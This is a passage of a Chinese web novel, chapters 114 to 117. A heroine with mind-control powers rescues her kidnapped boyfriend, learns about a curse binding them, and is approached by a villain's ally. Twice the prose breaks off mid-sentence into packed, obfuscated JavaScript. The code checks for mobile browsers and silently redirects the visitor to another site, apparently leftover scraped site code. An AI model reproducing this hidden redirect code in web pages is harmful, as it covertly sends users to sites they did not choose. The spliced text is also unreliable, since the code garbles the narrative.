其中一个长相清瘦的长发女子正坐在轮椅上,长裙一直遮到脚踝;另一个体型魁梧的中年男子,长相异常丑陋,无关审美,而是五官产生了畸变;还有一个人,是以真面目示人的百泉,看似温和的外表,内心何其恶毒。 周拾秋知道,她此刻感受到的痛苦,是因为庾林的心病发作。 而眼前的三人似乎因庾林突然出现的症状而感到震惊,大概是结果与计划有所出入。 周拾秋强忍着令她窒息的不适感,试图发动异能,却因为身体的状况尚未得到缓解,害她完全无法集中注意力。 一时竟没能使上力。 或许是注意到庾林状态的变化,争吵中的三人纷纷回过头,并慢步围了过来。 114. 第114章 “这小子什么情况?花惜宁!你异能是不是出问题了?”长相畸形的壮汉指着倒在沙发上的人,用粗犷的声音斥责队友。 “泉姐,管管那个蠢货,什么时候轮到一个低阶进化者对我的异能指手画脚了。”轮椅上的长发女人娇声吼道。 这两人的声音,周拾秋还记得,就是当初那场自杀委托中,她在天台上遇到的那两个进化者。 “书晨,你先闭嘴,应该不是惜宁异能的问题,他刚才突然清醒了。现在这副模样,好像是因为挨了我两巴掌……”百泉一边说着,一边走到了近处,俯视着沙发上呼吸凌乱而急促的人质。 周拾秋从他们的话语中,大概能猜出点剧情。 大概率那个叫花惜宁的幻觉制造者,对庾林使用了异能,可惜结果并未达预期。 而时隔这么久,庾林才心病发作,可见绑他来此的人,大概率是那个叫书晨的力量强化进化者。 看样子,又想故技重施,但幻觉并没能控制庾林自杀? 他们大费周章地将庾林从禁仿区绑回自由区,纪骞宏一定功不可没。 可眼下,纪骞宏不在屋子里。 正当周拾秋用庾林快要炸掉的脑子思考着这些东西时,百泉俯下身子,一只手抬起了周拾秋的下巴。 四目相对,百泉的脸在周拾秋眼中重重叠叠。 那心病来得太过猛烈,对庾林的身体怕是已经造成了不可逆转的损伤。周拾秋缓了好一会儿,也没能完全让身体的超负荷现象彻底消除。 她只能先不动声色,待到缓过劲儿,再行动手。 百泉带着恶意的声音混杂着耳鸣,传入耳中。 “刚才手环亮了,我应该叫你齐小姐吧?” 周拾秋没有回答,不止是为了静观其变,害怕暴露,还因为她只有咬紧牙关,才能勉强忍受着濒临崩坏的身体带来的不适感,不至于晕过去。 见她没有开口,只是死死怒瞪着眼前人,百泉脸上绽放出愉悦的笑容。 精心装饰下的指甲从周拾秋脸上划过,带着一丝戏弄,百泉笑着开口:“齐小姐,听说你是小秋的朋友,可以帮我给小秋带句话吗?” 抓走庾林就是为了给她传句话? 开什么玩笑! 周拾秋眼中渗出一丝怒火,咬着牙,强压下因晕眩带来的恶心,吐出一个字:“说!” 百泉抬起手指,在周拾秋眼前画着圈,“告诉小秋,这个理想者已经知道了她的身份,并认为遭到了她的袭击,现在他逃进危机管理局的度假村,大概已经向瑞波恩举报了。” 耳鸣症状逐渐消退,随着紊乱的呼吸慢慢被调整到正常频率,晕眩感稍微减轻,眼中的重影也开始消失。 周拾秋知道,意识交换后,心病已经停止恶化,症状亦在减轻,虽仍有不适,但再忍一忍,她的行动便不会受太大影响。 只要再拖延些时间,她就可以发动异能。 于是明知百泉在撒谎,她还是配合着,没有拆穿。 “为什么?你是谁?” 两个简单的问题从周拾秋口中艰难说出。 “我?我当然是这世上最懂小秋的人,与你们不同,只有我知道,她生来就是可以改变世界的人。告诉她,我会等她改变主意。你们这些低等人类,还有这无趣的世界,都配不上她。” 一些听上去仿佛中邪的疯言疯语从百泉口中说出,连她的表情都渲染上一层癫狂的色彩。 周拾秋大概猜到了她的想法。 用异能为庾林植入幻觉,暴露她的进化者身份,再让庾林认为她想杀他,然后情急之下躲进虚拟度假村,再向瑞波恩举报。 等他们伪造庾林自杀,进研所自然会从进研所查到庾林死前遗言。 而周拾秋是进化者这个消息,也就自然传递给了进研所。 届时,周拾秋就算想选择留下,也没有她的容身之处了。 要么终生逃亡,要么与百泉合作创造理想世界。 好恶毒的计划! 她真的还是周拾秋认识的那个百泉吗? 可惜,她的计划坏在了庾林手上。她不知庾林本就知晓周拾秋的身份,更不知庾林不会进入虚拟度假村…… “哼,什么鬼话,你的计划失败了吧?还想控制我帮你们圆谎吗?”周拾秋有气无力地讥笑道。 话刚说出口,周拾秋就挨了一巴掌。 脸上火辣辣的疼,显然与周拾秋意识交换前,庾林的脸就没少挨打。 百泉蛮横地掐住周拾秋的脸颊,强制抬起她的下巴,满眼恶毒,“你说话的语气我很不喜欢。为什么让你过来?当然是双重准备啦。” 周拾秋眉头紧蹙,没有说话,想不出百泉还有什么阴险的计划。 百泉慢悠悠地继续,“就算理想者没留下遗言也没关系,还有你这个朋友的证言啊!剧本我已经替你安排好了。” 说话间,百泉用力将周拾秋的脑袋推回沙发上,转身走向花惜宁,饶有兴致地解说。 “委托人识破进化者身份,危代人朋友挺身而出,为友情,杀掉委托人。既可以保护朋友,又可以伪造自杀,获得一大笔遗产,不好吗?” 周拾秋的心不断下沉,实在不敢相信,百泉连齐绮也不放过。 “为什么……你就一定要毁了一切吗……” 弱到连自己都听不清的话,从周拾秋难以启合的唇间溢出,不知是在问百泉,还在在问她自己。 百泉没有听清,但看到周拾秋眼底的绝望,笑容愈发张扬。 “对我为你安排的剧情不满意吗?你不是小秋的好朋友吗?好朋友不就该为她牺牲吗?”百泉捧腹大笑。 那笑声中充斥着对两人友情的不屑,甚至是厌恶,她带着恶意继续道,“等理想者死后,你会因为良心的谴责而去自首,然后再由你曝光小秋的身份,怎样?” “为什么……”周拾秋咬着牙,声音带着愤怒,从缝隙中逃出。 对于她不清不楚的质问,百泉满不在乎地说:“不管是理想者,还是守旧者,你们都只是小秋成神路上的绊脚石罢了,我会帮她通通除掉。早晚有一天,她会明白,真正能帮到她的人,只有我。” 疯了! 周拾秋感觉已经无法与百泉同频了。 也许,这就是被犯罪基因吞噬的结果吧。 周拾秋不由得产生这样的想法。 百泉说完这些话,便冲花惜宁比了个手势,示意花惜宁开始下一步。 坐在轮椅上的长发女人,挽起脸旁发丝,捋到耳后,露出一双阴气沉沉的眼瞳。 只见瞳中白色雾气翻涌,如沉香一般倾泻而出,很快便在房中形成一团朦胧的烟雾,飘向周拾秋。 显然,花惜宁又发动了异能,试图将幻觉植入周拾秋的大脑。 头虽然还在疼,可逐渐清晰的视线,让周拾秋知道,时机到了。 注意力从身体的不适转移,眼中金色波纹瞬间浮现。她无视了那团扑过来的烟雾,瞬间捕捉到房中三人。 一切发生得太突然,等三人意识到危险时,身体已经彻底不能动了。 周拾秋的异能控制成功发动,但并没有就此让三人彻底失去意识,只是要三人意识到身体仿佛断了线的玩偶,不再受控。 “小……秋……是你?” 身体如同石化了一般的百泉,感觉浑身上下只剩脑袋,面露惊恐。 一身蛮力的书晨表情狰狞,可无论脸上如何使劲,脖子以下都像被封入水泥之中,毫无动弹的余地,于是只能狂躁地怒吼。 “吵死了,闭嘴蠢货!” 轮椅上的长发女人一脸烦躁地怒斥一声,叫停了房间中的无能狂怒。 眼中白色的雾气未散,就算身体不能动移动,她也没有停止对周拾秋发起异能攻击,因为这是她能摆脱困局的唯一手段了。 然而,这样的攻击对周拾秋无用。 周拾秋捂着胸口,微微喘着粗气,用手肘支撑着自己坐了起来。 身体的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269497|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不适感依然没有消失,能坐起身已是勉强,周拾秋便坐着没动,希望身体能随时间自愈。 冷汗顺着额头滑落,迷了眼睛,她艰难地用手背擦拭,可手背上也被汗湿了。 疼痛感随着心跳的节奏隐隐传来,想到庾林遭受了怎样的痛苦,她看百泉的眼神便多一分恨意。 “你不该对他出手。”周拾秋咬牙吐出这几个字。 百泉愕然,“怎么会是你?庾林的协议危代人不是……”话音未落,她忽然想到了什么,恍然大悟,“呵呵,你还跟五年前一样,我该想到的,乌鸦能从惜宁异能下逃脱,没理由是个普通的守旧者。” “泉姐,我的幻觉对她好像不起作用……” 花惜宁终于意识到自己的异能失效,面露惊恐,用视线询问着该怎么办。 “别白费力气了。”百泉骄傲地笑了,“她可是传说中的夜白鹭,我最强的进化者朋友。” 书晨闻言骂道:“既然是进化者,干嘛要帮理想者,赶快放了我们!” 周拾秋只觉他们吵闹,微微抬眸一瞥,书晨就彻底失去了意识,身子一软,便瘫倒在地上,没了反应。 “你……你对书晨做了什么!” 一声刺耳的尖叫从花惜宁口中涌出,大概出于对伙伴的维护,书晨眼中再次白雾翻腾。 可惜下一秒,眼中雾气就随她的意识一起消失了,花惜宁脑袋耷拉着,在轮椅上晕了过去。 “不自量力……”周拾秋冷冷道出四个字。 房间里却爆发出一阵爽朗的笑声。 周拾秋的视线自然而然转向了笑声来源——百泉,只见那个熟悉却又陌生的朋友眼中满是兴奋。 “小秋,果然你才是我最需要的朋友,跟我一起,为进化者打造一个全新的世界吧!只要我们联手,就不是幻想,一切都可以实现!” 又是喋喋不休的游说,周拾秋甩了甩头,尽量让视线维持清醒。 她能清晰地感觉到庾林的身体已经到了极限,随时都能晕过去,她没有精力与百泉浪费时间,她得送庾林去医院。 忽然想起庾林的卧房里备有急救药,于是她强行站起身,踉踉跄跄走向卧房。 客厅里,百泉的声音时断时续,有时诚恳,有时癫狂。 “小秋,你难道喜欢这个理想者吗?” “别傻了,他早晚会出卖你的!” “你们不一样……理想者和守旧者都是低等人类,你明白吗?” “你忘了诅咒了吗?他如果真喜欢你,早该死了。” …… 劝说不断,周拾秋根本没听,她在房中找到了注射器,学着康管家的样子,一针扎在了脖子上,将急救药一点点推进身体。 她倒在床边缓了一会儿,感觉心痛稍微减轻,又慢慢挪向酒店座机,呼叫了前台。 “有人闯进60A,报警,联系康管家,帮我叫救护车。” 十分简短地向酒店前台传递了消息,她才返回客厅。 然而,刚走到卧房门口,她就发现不对劲。 喋喋不休的游说不知何时停止,客厅里似乎有哪里不一样,而百泉的脸上洋溢着自信的笑。 “小秋,这一局,你赢了,下一次,你一定会愿意跟我走。” 一句莫名其妙的话从百泉口中说出,周拾秋心中疑惑不解。正当她盯着百泉看时,忽然意识到哪里不对劲,百泉的身后多了一道人影。 周拾秋刚想发动异能,可百泉身后已然出现一个黑洞,一只手拉住客厅里三人,瞬间消失在黑暗中。 一切只在瞬息间,黑洞消失,客厅内只剩下周拾秋一人。 纪骞宏是他们留的后手,看来不先断掉这只手,要抓住他们,不是易事。 危机暂且接触,周拾秋终于支撑不住已到极限的身体,跌坐在地上,用最后的力气发送了任务完成申请。 重新回到自己身体中,周拾秋顾不上消化残留在意识里的不适感,匆匆出门,开车前往自由区。 115. 第115章 庾林又被送进佑民医院,进行了紧急救治。 情况并不乐观,能使用的治疗手段都用上了,但庾林暂时陷入昏迷,留在重症监护室观察情况。 这些情况,周拾秋在去往自由区的路上,通过与康管家的电话了解了大概。 关于未能抓住百泉等人的事,周拾秋也通过电话告诉了褚成舟。 褚成舟并不意外,表示接下来的时间,会和施煦一起监视庾林,他相信,百泉失手后不会就此放弃。 周拾秋不置可否。 她的心情有些微妙,没想到自己有一天,会沦落到帮进研所抓自己的同类。 即便如此,百泉依然想要拉她入伙。 这就是进化者吗? 她不希望自己今后变得跟百泉一样疯狂,可抓住百泉,她的人生似乎也结束了。 果然不该接受庾林的表白吗?如今分别似乎来得太快了些。 周拾秋心里乱糟糟的,不知不觉来到佑民医院。好像离开这里已经很久了,又好像日子并不长。只因那该死的心病,庾林似乎被绑在医院里了一样。 在与庾林告别前,她必须将心病的问题解决掉。 如此下定决心,周拾秋坐在车里,拿出庾林的手机,拨通了柴星曜的电话。 柴星曜接到电话依旧热情洋溢,只是当他听到周拾秋的声音时,这股热情瞬间冷却了下去。 柴星曜:“嗯?你是?” 周拾秋:“咳咳,64448228。” 柴星曜:“……蝠哥?你……变声期?” 周拾秋:“脑洞能别这么大吗?其实,上次见你时,我正在做危代任务。” 柴星曜:“哦,懂!” 周拾秋:“……” 周拾秋本以为要花费很多功夫跟柴星曜解释,结果简单一句话,柴星曜就接受了,并且不再追问。 她一时不知是柴星曜对怪事的接受度太高,还是他单纯神经大条。 在她因震惊一时语塞时,柴星曜又调整回开始那般兴致高昂的情绪,打断了周拾秋的思绪。 柴星曜:“蝠哥……哦不对,我该叫你什么好呢?” 周拾秋:“……叫啥都行,不重要。” 柴星曜:“那行,蝠哥,你找我是想问上回那件事吧,我确认过了,异能真的不会转移。” 这个结果让周拾秋很沮丧,似乎走进了死胡同,一时也不知还能说什么好。 她轻轻叹了口气,想着没必要再为难柴星曜,道了声谢正打算挂掉电话时,忽然对面叫住了她。 柴星曜:“蝠哥,先别急,异能转移的事虽然调查不下去了,但心病的事我有新发现。” 眼前看似要熄灭的烛火,陡然又亮了起来,周拾秋连忙询问有何发现。 上回调查的结果没能让周拾秋满意,柴星曜并没就此放弃,他继续缠着进研所的研究人员问东问西,而方向主要定在了唯一案例上。 通过对该案例的深入了解,柴星曜有了不小发现。 五十多年前出现的那名极危进化者,将诅咒转移给了一位与他相识的女子,后来极危进化者被处决,女子身上的诅咒也随之消失。 这是他最开始听到的故事。 后来问了问细节,那研究人员告诉柴星曜,他们之所以能发现该女子身上存在诅咒,是因为该女子出现了奇怪的病症。 她不能与异性有亲密接触,否则会浑身出现排斥反应。 并且,这种奇怪的排斥反应甚至会危及生命。 听到这里,周拾秋一脸震惊难以掩饰,这症状不是与庾林的心病一样吗? 柴星曜与她感觉一致,因此得知这个消息时,瞬间感觉调查又有了新的方向,于是针对这种奇怪的排斥反应进行了进一步的追问。 研究人员在他的糖衣炮弹轰炸下,只能束手就擒。 “那种怪异的排斥反应,其实是契约的惩罚。”柴星曜直截了当扔出了最终结论。 周拾秋茫然,“什么契约?” “就像恶魔选中的信徒,与之缔结生命契约,从此只能为恶魔所用,替恶魔承受诅咒,享受恶魔的保护,一旦背叛,便会遭受契约带来的惩罚。”柴星曜解释道,末尾又补充道,“这是进研所的理解,我可不认为进化者是恶魔。” 周拾秋震惊于听到的每一个字。 如果真是如此,那么庾林的心病其实是因为与她缔结了契约? 什么时候的事?她没有这么想过啊…… 庾林身上不也没有她的诅咒吗? 见她一直没有回应,柴星曜又继续说道:“还有,听说极危进化者被处决后,那名女子身上诅咒消失的同时,排异反应也消失了。” “真的是恶毒的契约吗……”周拾秋低声自言自语。 柴星曜安慰:“进研所的话,只能信一半,我还听说那女子在极危进化者死后,自尽了。” 周拾秋不解:“为什么?契约惩罚不是消失了吗?” 柴星曜笑道:“也许绑定两人的不是什么恶魔契约,而是相守的约定呢?” 周拾秋:“就算心病可以用契约惩罚解释,可异能转移呢?” 柴星曜:“蝠哥,你有没有考虑过,你说的异能转移,会不会其实是诅咒转移喃?这样一想,不就跟你说的情况完全吻合了吗?” 周拾秋:“啊?不会吧……” 柴星曜:“怎么不会,要不跟我说说,你遇上的异能转移,那异能是什么?” 周拾秋:“读心。” 柴星曜:“呃……要说是诅咒,好像有点离谱,我还是再帮你查一下吧。” 周拾秋:“嗯,谢谢。” 柴星曜:“哎,好兄弟,客气啥。” 挂断电话,周拾秋将柴星曜的发现又仔细想了一遍,觉得似乎真能解释庾林身上心病的缘由。 如果真的心病因她而起,那她被抓紧进研所,被处决,一切大概率就迎刃而解了。 可她能不死吗? 会有傻子想死吗? 周拾秋猛摇了一下脑袋,试图将那些乱七八糟的想法甩出脑袋,整理好心情,下了车,向着重症监护室的方向走去。 也许是接到酒店前台的紧急联系,周拾秋抵达重症监护室时,外面不止站着康管家,还有庾双、何文昊和何洲。 她刚出现,就撞上了庾双气势汹汹的眼神。 即便何洲尽力阻拦,也没能成功拦下他这位宠弟狂魔一般的母亲。 庾双一把推开何洲,以绝对强势的气场,呵退了何洲,带着一身戾气,走到了周拾秋的面前。 周拾秋第一反应便是提防庾双的手,她可不想跟电视剧一样,被人甩一巴掌。 不过,她的幻想并没有发生。 庾双深呼吸两次,强压下怒火,用冷静的声音说:“这里不方便 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“他不限制性别的话,就不止我一个了……”周拾秋心中不悦,但回怼的声音越来越弱。 尽管已经很小声地蛐蛐了,还是被庾双听了去,庾双就像是瞬间炸毛的猫,用难以置信的眼神盯着周拾秋,心里堵得慌。 “你……你真是……算了,我没心情跟你斗嘴。” 庾双将手当扇子使,努力给自己降温,“就算我不反对你们在一起,你也很难嫁进庾家,你想过吗?你可以为了庾林放弃守旧者的身份吗?舍得离开你的家人吗?就算你一切都做得到,可你能过得了我爸那一关吗?” 听到庾双提到庾万松,周拾秋顿时有些生气。 百泉讲的那个故事,不会是毫无依据,如果一切都是真的,她又为何要在意能否得到那样一位父亲的认可呢? 于是周拾秋不服气地回应:“无所谓,庾林说可以入赘。” 她这一句可把庾双气得不轻。庾双差点没维持住形象,发疯尖叫,刚吼出一个“你”字,又强势压了回去。 庾双捂着脸,无声地一通发泄后,扶额轻叹,心累地对周拾秋说:“跟你说话我好累,算了,你先离开吧,我不会让你见庾林。” “凭什么!”周拾秋气恼质问。 庾双摆出一副理直气壮的模样,回答:“庾林本就被进化者盯上了,要不是跟着你乱跑,能落到进化者手里受伤吗?他这次侥幸活下来了,如果没有呢?你能负责吗?行了,你先回去吧,接下来我会向进研所申请保护,我不希望庾林受你干扰。” 显然,庾双从进研所那边了解了不少。可她不知道,真正救下她弟弟的人,是周拾秋。 在庾双强势的驱赶下,周拾秋没能见上庾林一面,只是将庾林的手机交还给庾双,让她代为转交。 失望地离开佑民医院时,周拾秋远远看见进研所专员带着仪器设备入场,庾双无意间的驱逐,倒是意外避免了她的身份曝光。 周拾秋带着失落与疲倦重回花店,却发现花店门外正站着一个老熟人,嘴里叼着一根烟,脸上带着慵懒的笑,身旁跟着一位高挑的短发姑娘。 那两人一见她回来,就一脸熟识地冲她挥了挥手。 周拾秋重重叹了口气。 现在她这个头等功,在褚成舟眼中果然重要。 116. 第116章 “人还没抓到呢,你是怕我跑了吗?” 周拾秋瞥了褚成舟一眼,一边开门,一边不客气地嘲讽道。 褚成舟厚着脸皮,带着施煦,跟在周拾秋身后,进了店,上了二楼,毫不见外地坐到了沙发上。 周拾秋给两人倒了杯水,才瘫倒在一旁的沙发上。 一来一去四小时的奔波,加上意识中遗留的不适感,此刻一股脑侵袭而来,让周拾秋动根手指都嫌累。 褚成舟看着她笑道:“这次失手,究竟是技不如人,还是不忍对同类下死手,又或者是不想那么快成为我的头等功?” “呵呵,没人说过你真的很讨人厌吗?”周拾秋无视了他的问题,反问。 “经常有人这么说。” 回答她的人是施煦,一副实话实说的老实模样。 周拾秋哈哈大笑起来,褚成舟一脸无可奈何,看上去有气无处撒。 笑过以后,周拾秋才询问褚成舟的来意。 褚成舟说:“现在不管是你家人朋友,还是庾先生,都有进研所专员蹲守,没我什么事,还在停职中的我又不能申请武器设备,不如来盯着我的头等功。” “呵呵,谢谢啊,您真看得起我。”周拾秋翻着白眼。 “不用谢,我还等着抓你回所里,不止可以撤销处分,甚至还能升职,该我谢谢你才对。”褚成舟没脸没皮地回应。 玩笑归玩笑,褚成舟之所以会来找周拾秋,主要还是判断百泉找上周拾秋的可能性其实比其他人更高,他只要监视周拾秋,就一定能够将罪犯抓捕归案。 再者,就算他申请不到对付进化者的武器,也可以依靠周拾秋的异能。 简直一举两得。 周拾秋实在佩服褚成舟的脑子,将如何利用别人发挥得淋漓尽致。 “褚专员真是太有上进心了,想爬到进研所高层吗?”周拾秋调侃。 “当然,小小专员,天天追在进化者屁股后面跑,多累啊。”褚成舟答得轻巧。 周拾秋看着施煦,想到了什么,故意使坏道:“那可太好了,到时候施煦就可以换个脾气好的搭档了,终于不用受你的气了。” 果然,褚成舟的脸立马阴沉下来。 施煦却不明真相,还摆着手,替褚成舟解释:“周小姐误会了,褚专员没有让我受气,他还说,要爬到可以制定规则的位子,届时,第一条规则就是取消进化专员的月考,那我们就不用担心评定不合格被销毁了。” 周拾秋带着意味深长的笑,看向褚成舟,“褚专员挺有野心嘛,可惜想拿我当踏脚石。” 刚见褚成舟时,她一直觉得褚成舟对进化者有敌意,但对施煦,又很不一样。 她不知道褚成舟与施煦之间有怎样的故事,但有一点她敢肯定,施煦一定是褚成舟的软肋。 忽然想起从柴星曜口中打听到的消息,周拾秋趁机向褚成舟求证:“我听说,被进研所抓住的进化者,会根据犯罪指数分级,低危用来做买卖,高危进行人格改造,真的吗?” “知道得挺多嘛。”褚成舟没有掩饰。 周拾秋看着施煦说:“施煦的犯罪指数居然是高,这点我没想到。” 褚成舟的脸色又一次阴云密布,而作为当事人的施煦显然并不在意,平淡地摇着头解释:“我犯罪指数不高,留在进研所是我自己的选择。” 周拾秋一愣,“为什么?留在进研所就得接受人格改造啊……” 施煦认真思考了片刻,坦言:“想正大光明地活在这个世上,像褚专员一样。” 屋子里瞬间陷入一阵沉默,褚成舟似乎并不想谈及这个问题,声音带着点怒气,毫不留情面地说: “问这么多干嘛,这些都跟你没关系,你要是到了进研所,既不会人格改造,也不会卖给其他组织,等待你的只会是处决。” 此话一出,气氛更让人窒息了。 “周小姐还没有经过正式测定。”施煦理智地提醒。 “啧。”褚成舟自知失言,却又不想认错,“你又不是不知道,当初夜白鹭被所里定为什么级别。” “果然是极危吗……”周拾秋窝在沙发上,很随意地接话。 事实证明,柴星曜的消息没有错。 周拾秋早知这样的结果,只是这样的判定从进研所专员的嘴里听到,似乎更能让人死心。 褚成舟和施煦一时不知能说什么,只能以沉默应对。 周拾秋消沉了片刻,立马恢复到满不在乎的状态,她突发奇想,笑着问褚成舟:“你们进研所能查出进化者身上的诅咒是什么吗?” 褚成舟看不懂她心里在想什么,但因方才自己的话破坏了气氛,如今便如实告之可以。 进研所的确有可以检测诅咒的仪器,不过这种仪器很少能派上用场。毕竟,进化者到底背负着什么样的诅咒,对于进研所来说,并不重要。 因此,这仪器不知在进研所仓库里吃了多少年的灰。 一抓到机会,褚成舟就忍不住冷嘲热讽:“堂堂夜白鹭活得这么浑浑噩噩?连自己的诅咒是什么都不知道?” 周拾秋只是厌倦地瞪了他一眼,漫不经心地问:“能借出来用用吗?” “可以,不是什么重要仪器,要我明天带给你吗?”褚成舟回。 周拾秋摇了摇头,说:“不,你明天带去佑民医院,用在庾林身上,但别告诉他实情,理由什么的,你自己编吧。” 褚成舟被她弄糊涂了,“庾林也是进化者?” 施煦适时纠正:“庾先生曾帮周小姐逃脱异能检测,肯定不是进化者。” 褚成舟又被噎得无话可说。 周拾秋没有解释,只让褚成舟照做,随后便以太累了要休息为由,躺在沙发上挥了挥手,权当送客。 褚成舟表示今后会埋伏在花店周围,监视周拾秋,让她有个心理准备。 说完这些,他就带着施煦告辞,离开了花店。 一瞬间,房间里冷清下来。 她的生活似乎一下子完全被打乱了,甚至连回忆都被打得粉碎,而未来,变得一眼就能望到尽头。 不管是身体,还是心,都被疲倦占据。 周拾秋就这么蜷缩在沙发上,一步也不想动,眼皮重得不停下沉,很快她就迷迷糊糊睡了过去。 她梦见又回到滨山区。 在热闹的影厅里,她枕着庾林的肩膀,看着无功无过的喜剧电影。 在食缘饭店,她与庾林携手站在百年梅树下,看着萤火虫翩翩起舞,一同许下不用树灵努力的愿望。 在天还未亮时,庾林背着她爬上林月山山顶,迎接第一缕阳光。 在陶艺体验馆里,她和庾林穿着情侣装,为对方设计世间仅此一只的陶瓷杯。 在夜色撩人的海上,她让海里的发光生物为庾林送上一场盛大的表演。 在水族馆里,庾林看着屏幕上出现的合影,一边回忆,一边取笑她的糗事。 在漫天烟花绽放的夜晚,她与庾林坐在天台上,深情拥吻。 场景不断变换,唯一不变的是她始终舍不得跟庾林告别。然后眼看着时光飞速流逝,她终是不告而别。而庾林出现在他们一起走过的每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287375|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个画面中,形单影只,无论如何呼唤,也得不到任何回应。 周拾秋猛然惊醒,眼角被泪水浸湿。 她竟然被一场梦吓哭了…… 心中一番自嘲,周拾秋将泪痕抹去,然后才注意到,黑暗中响起了熟悉的铃声。 原来有来电。 客厅里的灯还亮着,她扭头看了看窗外,一片漆黑,想来还是深夜,不知谁会这么没有眼力见,选在这个时间打电话。 一边在心里吐槽着,周拾秋一边摸索着从衣兜里翻出手机,屏幕上的名字却让她一时慌了神。 ——金主爸爸。 是庾林。 一下从沙发上蹦起来,周拾秋差点扭到脖子,哀嚎一声,接通电话。 “吵醒你了,对不起,但我觉得有必要跟你汇报一声,我没事了,放心。” 电话里,庾林的声音很轻,似乎刚刚清醒。 “没,没吵醒,我还没睡呢。”周拾秋下意识回答。 电话那头传来轻笑声,“你要不看看时间再重新回答?” 周拾秋当真依言看了看时间,3:19,这时间要说没睡,倒该让庾林担心了,只好改口:“呵,睡了,不过不是被你吵醒的,是被噩梦吓醒的。” “做什么梦了?”庾林一副很在意的样子。 周拾秋顿了顿,实情说不出口,便随口敷衍:“梦到你自杀了,我还得替你受罪,能不被吓醒吗?” “嗯。”庾林轻哼一声,以示认同,又保证一般告诉周拾秋,“我不会自杀,别担心。” “傻子,你的弱点就很致命,我不得担心?” “这确实有难度,我尽量。” “算了吧,我不受罪,你进的就不是医院了!” 像是有意回避,两人谁也没提如何被绑又如何被救,究竟发生了什么,其实也能猜出个大概。 不管说什么,都是不好的记忆,干脆直接略过。 庾林调转话头道:“我听说,你把庾双气得够呛?” “嘻嘻,要替姐姐打抱不平?” “不,我只担心你。” “担心我干嘛?我堂堂进化者还能被你姐欺负吗?” “怕你会在意她说的话。” “你喜欢我只是因为我是守旧者吗?” “不是。” “你会让我改籍嫁去自由区吗?” “不会。” “那我有什么好在意的?” “你能这么想就好。” “我只是觉得可惜,现在有进研所的人在保护你,我恐怕暂时见不到你了。” “只怪庾双多事,再等等,我会去找你。” “不急,你先好好养病,我想很快一切都可以结束了。” “你是说百泉?” “嗯,进研所已经在着手追捕了,只要他们敢再露面,一定逃不掉。” “那你最近小心,别被波及。” “知道,担心你自己就好,我是谁你还不知道吗,怎么可能被发现,稳妥得很!” “最好是。” “啰嗦!快休息吧,我也困了。” “嗯,睡吧,晚安。” “晚安。” 直到电话挂断,周拾秋也没能将实情说出口。 百泉何时会再出现,似乎就决定了周拾秋的平静生活何时结束。 需要道别吗? 或许没那个必要,她只是有些不舍,希望那一天别来得太快。 只可惜,事与愿违,周拾秋从未料到,百泉的下一步行动会来得这么快。 117. 第117章 第二天早上9点,周拾秋拖着疲倦的身子起床,出门到附近早餐店点了豆浆油条。 正当她睡眼惺忪地坐在店里吃早饭时,一个毫无边界感的客人突然在她对面坐下。 周拾秋还未完全清醒,只觉心头烦躁,转头看了一眼周围。 店里吃饭的客人并不算多,还留有几张空桌。 正常情况下,有空桌,谁会愿意与人拼桌啊? 心里直犯嘀咕,周拾秋甚至懒得看那人一眼,端起碗和盘子就想换一桌。 然而她刚站起身,那个不知死活的家伙就抓住了她的手腕,强行将她拉回座位上。 一瞬间,周拾秋彻底清醒了。 她眼带怒火,抬头怒瞪对方,问候人的话刚到嘴边,就彻底傻眼了。 对面的男人穿着被打理得不留一丝折痕的西装,眯着细长的眼睛,带着职业微笑,用清亮的嗓音问候道:“早上好,周小姐。” 纪骞宏就这么大摇大摆出现在她眼前。 周拾秋震惊得一时说不出来话。 纪骞宏见状,动作温柔地放开周拾秋的手,声音温和地点了和周拾秋一样的豆浆油条,一副闲来无事的模样,用油条搅了搅豆浆,然后咬了一口,一脸享受地赞了一声“味道不错”。 周拾秋下意识环顾四周一眼,才想起昨晚让褚成舟帮忙申请仪器去检测庾林身上是否有诅咒存在,因此暂时没有进研所的人在她这儿盯梢。 大概是注意到周拾秋警觉的模样,纪骞宏温柔一笑,“周小姐别紧张,是百泉让我来找你聊聊。” “哼,你不怕我直接把你扭送进研所吗?”周拾秋冷笑。 “怕,当然怕,周小姐的实力可是得到过百泉认可。”纪骞宏嘴上说着害怕,可表情全然没有胆怯的味道,“不过我觉得周小姐应该不会这么做。” “哦?是吗?”周拾秋藏起锋芒,想听听他会说什么。 纪骞宏一脸笃定地回答:“和我同归于尽,周小姐应该没这么傻吧?” 这个答案多少让周拾秋有点失望。 百泉还是不够了解她,不知道她为达目的,甚至可以出卖自己。 听了纪骞宏的话,她稍微放下心。至少可以证明,对于她与褚成舟联手之事,百泉等人还不知情。 是啊,谁能想到她会疯狂到与进研所联手,不惜暴露自己呢? “呵,你说的对。” 周拾秋随口应了声,继续不动声色地吃早餐。 她没表现出急切,纪骞宏也一副漫不经心的样子,实在让人有些窝火。 就这么吃完一顿饭,周拾秋起身要走,纪骞宏又毫无边界感地跟了上来,一路跟她回到了花店。 周拾秋没有开灯,进门走了几步站定,目光强势地盯着纪骞宏,“这么胆大来见我,不怕有进研所的人在监视我?” 